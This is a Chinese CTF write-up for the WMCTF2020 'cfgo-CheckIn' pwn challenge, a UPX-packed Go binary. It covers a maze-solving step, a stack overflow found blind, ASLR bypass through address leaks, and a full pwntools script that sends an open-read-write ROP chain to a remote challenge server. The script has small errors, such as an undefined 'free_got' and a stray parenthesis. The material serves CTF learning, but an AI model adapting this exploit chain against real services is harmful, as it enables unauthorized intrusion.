【pwn】WMCTF2020 cfgo-CheckIn

拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。
【pwn】WMCTF2020 cfgo-CheckIn_第1张图片
一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。
在这里插入图片描述
在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb

io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))

【pwn】WMCTF2020 cfgo-CheckIn_第2张图片
报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。

io.sendline('b'*0x10+'a'*0x60+p8(0x10))

发现没有报错,但是输出数据出现奇怪的东西。
在这里插入图片描述
于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))

在这里插入图片描述
继续往后溢出。

io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))

【pwn】WMCTF2020 cfgo-CheckIn_第3张图片
这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。

from pwn import *

io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')	
#libc=ELF('./libc-2.23.so')

def check_valid(mg, x, y):
	if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
		return True
	else:
		return False


for k in range(100):
	io.recvuntil('level')
	io.recvline()
	line=io.recvline()
	line1=[]
	for i in range(0,len(line[:-1]),3):
		line1.append(line[i]+line[i+1]+line[i+2])
	msg=[]
	t=[]
	for i in line1:
		if i=='\xe2\xac\x9b':
			t.append(0)
	msg.append(t)
	dstx=0
	dsty=0
	srcx=0
	srcy=0

	for j in range(len(line1)-1):
		t=[]
		line=io.recvline()
		linen=[]
		i=0
		while line[i]!='\n':
			if line[i]=='\xe2':
				if (line[i]+line[i+1]+line[i+2])=='\xe2\xac\x9b':
					t.append(0)
				else:
					t.append(1) 
				i+=3
			else:
				if (line[i]+line[i+1]+line[i+2]+line[i+3])=='\xf0\x9f\x9a\xa9':
					t.append(1)
					srcx=len(msg)
					srcy=len(t)-1
				else :				
					t.append(1)
					dstx=len(msg)
					dsty=len(t)-1
				i+=4	
		msg.append(t)
	
	path=""
	def walk(mg, x, y,path):

		s=path
		if x == srcx and y == srcy:
			io.sendline(s)
		if check_valid(mg, x, y):
			mg[x][y] = 2
			walk(mg, x, y+1,s+'d')
			walk(mg, x, y-1,s+'a')
			walk(mg, x-1, y,s+'w')
			walk(mg, x+1, y,s+'s')

	walk(msg, dstx, dsty,path)

io.recvuntil('your name:')
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p8('\xce')))
io.recvuntil('Your name is : ')
base=u64(io.recv(8))-0x1666c0
print(hex(base))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))

start_main=base+0x01EEFD0

io.sendline('b'*0x10+'a'*0x60+p64(start_main)+p64(0x20)+p64(0x20)+'a'*0x88+'\xce')
io.recvuntil('Your name is : ')
start_main_add=u64(io.recv(8))

libc_base=start_main_add-libc.sym['__libc_start_main']

print(hex(libc_base))

pop_rdi=base+0x0109d3d

pop_rsi=libc_base+0x27529

pop_rdx=libc_base+0x011c1e1

write=libc_base+libc.sym['write']

fopen=libc_base+libc.sym['open']

read=libc_base+libc.sym['read']

ddir=libc_base+libc.sym['getdents64']

bss=base+0x21B9CD

main=base+0x1197CE

io.sendline('b'*0x10+'a'*0x60+p64(free_got)+p64(0x20)+p64(0x20)+'a'*0x88+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(100)+p64(0)+p64(read)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(fopen)+p64(pop_rdi)+p64(6)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(write)+p64(main))

io.sendline('/flag\x00')

io.interactive()

你可能感兴趣的:(pwn)